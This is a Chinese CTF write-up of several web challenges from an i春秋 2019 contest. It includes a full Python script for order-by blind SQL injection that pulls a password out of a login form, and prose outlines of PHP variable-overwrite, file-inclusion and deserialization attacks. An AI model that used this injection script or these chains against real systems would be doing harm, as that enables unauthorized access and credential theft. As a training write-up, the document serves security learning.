i春秋网络内生安全试验场CTF夺旗赛(第二季)部分wp

i春秋 2019-10月CTF答题夺旗赛 web部分wp

1.easyphp

i春秋网络内生安全试验场CTF夺旗赛(第二季)部分wp_第1张图片
通过观察可以发现img传参base64解码;同样的方法可得index.php源码
之后构造序列化。。。。。

2、calculate1,2
i春秋网络内生安全试验场CTF夺旗赛(第二季)部分wp_第2张图片
写wp前删掉了脚本,简述下:利用selenium运算公式并结合chromedriver进行10次提交

3、babysql
i春秋网络内生安全试验场CTF夺旗赛(第二季)部分wp_第3张图片
i春秋网络内生安全试验场CTF夺旗赛(第二季)部分wp_第4张图片
之后测试admin’orderby 1# 到3,直到4时
i春秋网络内生安全试验场CTF夺旗赛(第二季)部分wp_第5张图片
得知列数为3,通过fuzz发现union select可用,且页面返回第二列的内容即用户名,且常规注入不可行。尝试order by盲注,payload=admin’union select 1,2,‘c’ order by 3#。发现当字符小于等于密码时,显示2,当大于密码时显示admin。
由此写出脚本:

import requests
url = "http://120.55.43.255:13004/login.php"
print(hex(61))
flag = ""
for i in range(1, 50):
    print(i)
    end = 31
    head = 127
    while abs(head - end) > 1:
        mid = (end + head) // 2
        print(mid)
        data1 = flag + chr(mid)
        print(data1)
        sql = "admin'union select 1,2,0x{} order by 3#".format(data1.encode("hex"))
        s = requests.session()
        data = {
            'username': sql,
            'passwd': 'admin'
        }
        print(sql)
        result = requests.post(url=url, data=data)

        if "admin" in result.text:
            head = mid
        else:
            end = mid

    flag = flag + chr(end)

    print('flag:' + flag)
print("flag:" + flag)

在这里插入图片描述
这里要注意大小写,因为MySQL比较大小时是不区分的。
最后一位是d,因为最后一位时就是正确的admin的passwd应该往后取一位

4、best_language
i春秋网络内生安全试验场CTF夺旗赛(第二季)部分wp_第6张图片
进来就是代码审计,第一个点:提交%s即可绕过
第二个点:传参时第一个参数为first=’u’
第三个点:变量覆盖,查找参数为数组的变量覆盖的函数,发现了extract。
随即传参,可以由文件包含得到class.php源码。
i春秋网络内生安全试验场CTF夺旗赛(第二季)部分wp_第7张图片
上来看到前两行,PHP_SESSION_UPLOAD_PROGRESS的利用
构造表单,抓包改参数。
代码大致意思由Monitor反序列化触发Welcome的__toString魔术方法,接着用到Come的execute方法,有个substr的waf还是好绕的,/…/即可。
i春秋网络内生安全试验场CTF夺旗赛(第二季)部分wp_第8张图片
熟悉的flag,之后利用之前的文件包含获取flag。

5.easy_encode

i春秋网络内生安全试验场CTF夺旗赛(第二季)部分wp_第9张图片
看到102 且大部分在127下。尝试了ascii编码转换,得到flag

你可能感兴趣的:(CTF)